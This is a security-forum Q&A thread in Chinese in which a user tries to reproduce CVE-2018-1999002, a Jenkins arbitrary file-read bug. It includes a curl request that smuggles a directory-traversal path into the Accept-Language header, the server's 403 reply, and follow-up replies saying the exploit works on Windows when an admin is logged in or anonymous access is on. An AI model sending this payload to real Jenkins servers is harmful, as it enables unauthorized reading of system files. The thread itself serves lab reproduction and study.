登录

CVE-2018-1999002 jenkins任意文件读取有人复现成功么。。

fa11ing1eaf / 2018-07-25 21:32:19 / 浏览数 2703 新手 问与答 顶(1) 踩(0)

用了官方的docker，在linux上测试。 以及在windows上测试。。都没复现。。
请问哪里有坑么。。

```
~ > curl 'http://192.168.1.51:8080/plugin/credentials/.ini' -H 'Accept-Language: ../../../../../../../../../../../windows/win' -H
*   Trying 192.168.1.51...
* Connected to 192.168.1.51 (192.168.1.51) port 8080 (#0)
> GET /plugin/credentials/.ini HTTP/1.1
> Host: 192.168.1.51:8080
> User-Agent: curl/7.43.0
> Accept: */*
> Accept-Language: ../../../../../../../../../../../windows/win
> Cookie: JSESSIONID.a3d85595=node01v1c3z2oeevt5mucfmjq8er3e1.node0; screenResolution=1920x1080; JSESSIONID.b2a47fc0=node02xwy
>
< HTTP/1.1 403 Forbidden
< Date: Wed, 25 Jul 2018 13:30:59 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/html;charset=utf-8
< X-Hudson: 1.395
< X-Jenkins: 2.132
< X-Jenkins-Session: 3a9c067d
< X-You-Are-Authenticated-As: anonymous
< X-You-Are-In-Group-Disabled: JENKINS-39402: use -Dhudson.security.AccessDeniedException2.REPORT_GROUP_HEADERS=true or use /w
< X-Required-Permission: hudson.model.Hudson.Read
< X-Permission-Implied-By: hudson.security.Permission.GenericRead
< X-Permission-Implied-By: hudson.model.Hudson.Administer
< Content-Length: 853
< Server: Jetty(9.4.z-SNAPSHOT)
<
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fplugin%2Fcredentials%2F.ini'/><script>window.location.rep


Authentication required
<!--
You are authenticated as: anonymous
Groups that you are in:

Permission you need to have (but didn't): hudson.model.Hudson.Read
... which is implied by: hudson.security.Permission.GenericRead
... which is implied by: hudson.model.Hudson.Administer
-->

* Connection #0 to host 192.168.1.51 left intact
</body></html>
```

点击收藏 | 0 关注 | 1

上一篇：渗透测试工具备忘录 下一篇：逆向分析marveloptics....

1. 3 条回复

fa11ing1eaf 2018-07-26 00:43:48

可以复现了。。。

linux利用有条件限制。

windows下使用管理员登陆或者开启匿名访问。

0 回复Ta

---

chybeta 2018-07-31 13:25:28

@fa11ing1eaf 社区不是有文章吗？https://xz.aliyun.com/t/2486

0 回复Ta

左右 2019-03-28 13:53:40

学习了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板